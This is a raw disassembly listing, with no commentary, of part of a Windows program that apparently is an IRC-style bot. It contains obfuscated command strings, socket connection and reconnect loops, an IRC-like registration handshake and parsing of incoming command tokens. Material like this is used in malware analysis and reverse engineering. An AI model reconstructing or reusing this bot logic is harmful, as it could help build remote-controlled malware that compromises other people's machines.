		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_40F53A:				; CODE XREF: ___:0040F505j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F561:				; CODE XREF: ___:0040F4D4j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F660	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F660	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F6D0	proc near		; CODE XREF: sub_40169Fj

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F6D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E88
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_40142E
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401753
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401753
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401753
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401753
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401753
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401753
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401753
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401753
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401753
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401753
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401753
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401753
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401753
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_40172B
		mov	dword ptr [edi], offset	off_43F034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_448F30
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43F028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015E1
		nop
		call	near ptr 2800B86h
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017EE
		push	eax
		push	offset dword_4490BC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C4
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017EE
		push	eax
		push	offset dword_4490CC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017EE
		push	eax
		push	offset dword_4490DC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017EE
		push	eax
		push	offset dword_4490E0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017EE
		push	eax
		push	offset dword_4490E4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017EE
		push	eax
		push	offset dword_4490E8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017EE
		push	eax
		push	offset dword_4490EC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017EE
		push	eax
		push	offset dword_4490F0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017EE
		push	eax
		push	offset dword_4490F4
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017EE
		push	eax
		push	offset dword_4490F8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017EE
		push	eax
		push	offset dword_4490FC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017EE
		push	eax
		push	offset dword_449100
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F6D0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FE40	proc near		; CODE XREF: ___:004019D3j sub_401A4Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C5
sub_40FE40	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_40FE58
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40FE58:				; CODE XREF: ___:0040FE4Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FE70	proc near		; CODE XREF: sub_4013C5j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40FE70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F028
		mov	dword ptr [esi+11h], offset off_43F034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B68
sub_40FE70	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_410030	proc near		; CODE XREF: sub_402149j

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43A8D3
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_40142E
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_411400


loc_410072:				; CODE XREF: sub_410030+13CAj
		mov	al, byte_4E8E44
		mov	edi, dword_5118AC
		cmp	al, bl
		jz	loc_411400
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_41009A
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_4100A4
		cmp	eax, ebx
		jz	loc_4101DE


loc_41009A:				; CODE XREF: sub_410030+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_4101DE


loc_4100A4:				; CODE XREF: sub_410030+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_4100B9
		push	eax
		nop
		call	near ptr 71AB9639h


loc_4100B9:				; CODE XREF: sub_410030+80j
		mov	ecx, offset word_44AC5E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401541
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401983
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_4100E9
		mov	[ebp+20h], ebx


loc_4100E9:				; CODE XREF: sub_410030+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_4493ED
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACD6
		add	eax, 1B6h
		push	eax
		push	offset dword_4493A4
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACD6
		push	edx
		push	offset dword_449280
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_449312
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACD6
		add	eax, 0DBh
		push	eax
		push	offset byte_4492C9
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACD6
		add	edx, 92h
		push	edx
		push	offset byte_44935B
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_44947F
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		call	edi
		mov	[ebp+24h], eax


loc_4101DE:				; CODE XREF: sub_410030+64j
					; sub_410030+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_410208
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		nop
		call	near ptr 2841E5Ch
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410208:				; CODE XREF: sub_410030+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_410398
		mov	ax, word_44932C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, offset byte_4492C9
		mov	[esp+24h+arg_1E], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410288
		push	2710h
		nop
		call	near ptr 2841E5Ch
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410288:				; CODE XREF: sub_410030+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		call	sub_5FC011
		nop
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015E1
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		push	offset byte_448F30
		mov	ecx, offset byte_44935B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410357
		mov	ecx, offset byte_44935B
		call	sub_4017EE
		mov	edx, dword_4490DC
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h


loc_410357:				; CODE XREF: sub_410030+305j
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490E4
		push	eax
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		mov	ecx, dword_4490E0
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 1Ch
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410398:				; CODE XREF: sub_410030+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_4113F0
		nop
		call	near ptr 2800B86h
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CD0
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A9B
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490E8
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410470
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset dword_4493A4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410474


loc_410470:				; CODE XREF: sub_410030+3EAj
		mov	[esp+20h+var_D], bl


loc_410474:				; CODE XREF: sub_410030+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410496
		mov	byte ptr [ebp+16h], 1
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410496:				; CODE XREF: sub_410030+45Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490BC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_410534
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490D8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410662
; ---------------------------------------------------------------------------


loc_410534:				; CODE XREF: sub_410030+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, dword_4490C0
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	loc_4106A0
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4113F7
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490D8
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410667
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
